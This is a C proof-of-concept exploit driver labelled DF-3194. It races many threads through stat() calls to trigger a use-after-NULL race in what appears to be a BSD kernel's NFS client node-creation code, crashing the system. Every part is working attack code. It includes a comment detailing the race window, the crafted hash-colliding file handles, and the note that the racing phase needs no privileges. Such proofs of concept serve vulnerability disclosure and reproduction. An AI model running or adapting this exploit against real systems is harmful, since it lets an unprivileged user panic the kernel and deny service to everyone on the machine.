DF-3194 / race_trigger.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 | /* * race_trigger.c - DF-3194 PoC driver * * Phase 1 (fill): stat() POOL_FILL distinct names once each. Every file * handle the server hands out is crafted to hash into the SAME nfsnode * hash bucket, so nfs_nget()'s initial LIST_FOREACH scan of that bucket * becomes long (~thousands of entries, hundreds of microseconds). * * Phase 2 (hammer): N threads, pthread_barrier-synchronised, stat() the * SAME never-seen name each round -> every thread races nfs_nget() for * the same fresh file handle. When one thread is descheduled mid-scan * (its lwkt token is auto-released by lwkt_switch, sys/kern/lwkt_thread.c) * while another thread completes a full nfs_nget() creation and inserts * the node at the head of the bucket, the stale thread misses it, takes * nfsnhash_lock without sleeping, creates its own vnode, and the * duplicate-validation loop (sys/vfs/nfs/nfs_node.c:189-202) finds the * other thread's node -> vx_put(fresh VNON vnode) at nfs_node.c:194 -> * vfs_lock.c:vx_put forces VREF_FINALIZE for VNON -> vnode_terminate() * -> VOP_INACTIVE -> nfs_inactive() dereferences v_data == NULL -> panic. * * Run as an unprivileged user for the hammer phase (root only needed for * the mount, done by run.sh). Threads > ncpu on purpose: oversubscription * widens the mid-scan descheduling window. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <pthread.h> #include <sys/stat.h> #include <sys/time.h> #define POOL_FILL 16000 #define HAMMER_THREADS 12 static pthread_barrier_t bar; static long total_rounds; static int fill = POOL_FILL; static double t0; static double now(void) { struct timeval tv; gettimeofday(&tv, NULL); return tv.tv_sec + tv.tv_usec / 1e6; } static void * hammer(void *arg) { long id = (long)arg; char path[64]; long r; for (r = 0; r < total_rounds; r++) { struct stat st; /* * Each thread uses its OWN name (letter prefix) for the * same file handle: separate namecache resolutions, no * ncp-lock serialisation, but all 12 threads race * nfs_nget() for the identical fh. */ snprintf(path, sizeof(path), "/mnt/%c%05ld", 'a' + (int)id, (long)fill + r); pthread_barrier_wait(&bar); if (stat(path, &st) < 0) ; /* keep racing regardless */ pthread_barrier_wait(&bar); if (id == 0 && (r % 500) == 0) { double el = now() - t0; printf("[hammer] round %ld/%ld (%.1f rps)\n", r, total_rounds, el > 0 ? r / el : 0.0); fflush(stdout); } } return NULL; } int main(int argc, char **argv) { char path[64]; struct stat st; pthread_t th[HAMMER_THREADS]; int i; double t; total_rounds = 40000; if (argc > 1) total_rounds = atol(argv[1]); if (argc > 2) fill = atol(argv[2]); printf("[fill] stating %d colliding-fh names once each...\n", fill); t = now(); for (i = 0; i < fill; i++) { snprintf(path, sizeof(path), "/mnt/g%05d", i); if (stat(path, &st) < 0) { printf("[fill] stat(%s) failed: %s (aborting)\n", path, strerror(errno)); return 1; } if ((i % 4000) == 0) printf("[fill] %d/%d\n", i, fill); } printf("[fill] done in %.2fs - nfsnode hash bucket is deep now\n", now() - t); fflush(stdout); t = now(); for (i = 0; i < 200; i++) { snprintf(path, sizeof(path), "/mnt/g%05d", i); if (stat(path, &st) < 0) break; } printf("[fill] 200 cached re-stats in %.3f ms\n", (now() - t) * 1e3); fflush(stdout); printf("[hammer] %d threads x %ld rounds of same-name stat races\n", HAMMER_THREADS, total_rounds); fflush(stdout); t0 = now(); pthread_barrier_init(&bar, NULL, HAMMER_THREADS); for (i = 0; i < HAMMER_THREADS; i++) pthread_create(&th[i], NULL, hammer, (void *)(long)i); for (i = 0; i < HAMMER_THREADS; i++) pthread_join(th[i], NULL); printf("[hammer] finished %ld rounds without a panic\n", total_rounds); return 0; } |